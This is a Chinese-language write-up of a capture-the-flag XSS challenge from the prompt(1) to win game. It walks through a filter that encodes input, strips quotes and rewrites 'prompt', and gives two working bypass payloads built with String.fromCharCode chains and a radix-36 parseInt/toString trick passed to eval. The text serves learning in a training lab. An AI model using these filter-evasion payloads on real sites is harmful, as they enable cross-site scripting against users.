- 来源:prompt(1) to win
- 题目:[Level C - ノ┬─┬ノ ︵ ( \o°o)](http://prompt.ml/12)
题目
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}
解题思路
这题与 【Level A - (╯°□°)╯︵ ┻━┻】 十分相似。
区别在于 replace
的 prompt
和 单引号 '
的顺序反转了。
但是无论顺序如何,过滤后可以使用的字符都只剩下 a-z
、 A-Z
、0-9
、 .
、 (
、 )
、 !
、 ~
、 *
。
因此这题直接使用 【Level A - (╯°□°)╯︵ ┻━┻】 的 payload 就可以 pass :
eval(String.fromCharCode(112).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(String.fromCharCode(49)).concat(String.fromCharCode(41)))
但其实这题还有另一种更巧妙的解法。
在 JS 中存在一个函数 parseInt(str, radix)
。
默认情况下,radix = 10
,即它可以把十进制的数字字符串转换成十进制数。
但是通过调整进制数 radix
,它可以把其他进制的字符串转换成十进制数。
而当 radix = 36
时。它可以把只包含 0-9a-z
(大小写不敏感)的字符串转换成十进制数。
于是我们可以把 prompt
字符串转换成十进制数:parseInt("prompt", 36)
,得到 1558153217
。
而要将十进制数字还原成字符串,则可以使用另一个函数 toString(radix)
(默认情况下 radix = 10
)。
即可以使用此方法 (1558153217).toString(36)
还原得到 prompt
字符串:
于是最开始的 payload 就开始简化成这样:
eval((1558153217).toString(36).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
注:【Level A - (╯°□°)╯︵ ┻━┻】 同样可以使用这个 payload 完成挑战。